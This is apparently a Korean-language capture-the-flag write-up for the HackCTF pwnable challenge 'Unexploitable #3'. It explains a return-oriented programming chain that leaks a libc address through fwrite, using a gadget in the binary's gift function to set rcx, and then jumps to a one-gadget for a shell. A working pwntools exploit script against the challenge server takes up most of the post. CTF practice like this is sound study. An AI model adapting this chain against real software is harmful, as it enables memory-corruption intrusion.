뇌
[ Pwnable ] Unexploitable #3 write-up 본문
main 함수 코드이다.
이번에는 fgets 함수로 최대 0x100 bytes 까지 받을 수 있기 때문에 대부분의 ROP
는 다 가능하다.
이번 gift 함수는 이미 fwrite 함수가 main 함수에 있어 딱히 쓸모가 없어 보인다.
그래도 준 이유가 있지 않을까.
출제자의 의도가 있을 거라고 생각했다. 90% 이상은 의도가 있었다.
현재는 전 함수와 다르게 system 함수가 없기 때문에 이번에는 ROP
로 leak 를 해서 system 함수를 사용해야한다.
이 바이너리에 있는 함수 중 유일하게 leak 할 수 있는 함수 ( 출력 가능한 함수 ) 는 fwrite 함수이다.
하지만 fwrite 함수는 인자가 4개가 필요한데, __libc_csu_init 으로는 세번째 인자인 rdx
까지는 건드릴 수 있는데, 네번째 인자인 rcx
를 설정할 방법이 없다.
그래서 생각했다. gift 함수에서 뭔가 할 수 없을까,
정말 있었다.
call 밑에 코드를 보면, rdi
주소에 있는 값을 rcx
로 옮기고 return 을 한다.
rdi
에 어느 함수의 got
를 넣고, 저 부분으로 뛰면 rcx
를 컨트롤 할 수 있다 !
그럼 다 구했다.
[ exploit ]
from pwn import *
context.log_level = 'debug'
p = remote('ctf.j0n9hyun.xyz', '3034')
#p = process('./Unexploitable_3')
e = ELF('./Unexploitable_3')
libc = e.libc
prdi = 0x0000000000400743
stdout = 0x601050
prcx = 0x400658
pppr = 0x000000000040073a
mmmc = 0x0000000000400720
#fwrite(fwrite@got, 1, 6, stdout);
pay = ''
pay += 'A'*0x18
pay += p64(prdi) + p64(stdout)
pay += p64(prcx)
pay += p64(pppr) + p64(0) + p64(1) + p64(e.got['fwrite']) + p64(6) + p64(1) + p64(e.got['fwrite'])
pay += p64(mmmc)
pay += p64(e.symbols['main'])*8
pause()
p.sendlineafter('!\n', pay)
libc_base = u64(p.recvuntil('\x7f')[-6:] + "\x00\x00") - libc.symbols['fwrite']
log.info("libc_base : " + hex(libc_base))
pay = ''
pay += 'A'*0x18
pay += p64(libc_base + 0x45226)
p.sendlineafter('!\n', pay)
p.interactive()
공격 흐름을 다 구상을 했었는데, libc 파일을 안 줘서 뭔가 다른 색다른 방법이 있을 줄 알았는데 다른 분들의 라업을 보니까 다 같은 방법으로 푸셨다.
'Pwnable > HackCTF write-up' 카테고리의 다른 글
[ Pwnable ] Unexploitable #2 write-up (0) | 2020.11.06 |
---|---|
[ Pwnable ] Unexploitable #1 write-up (0) | 2020.11.06 |
[ Pwnable ] SysROP write-up (0) | 2020.11.05 |
Comments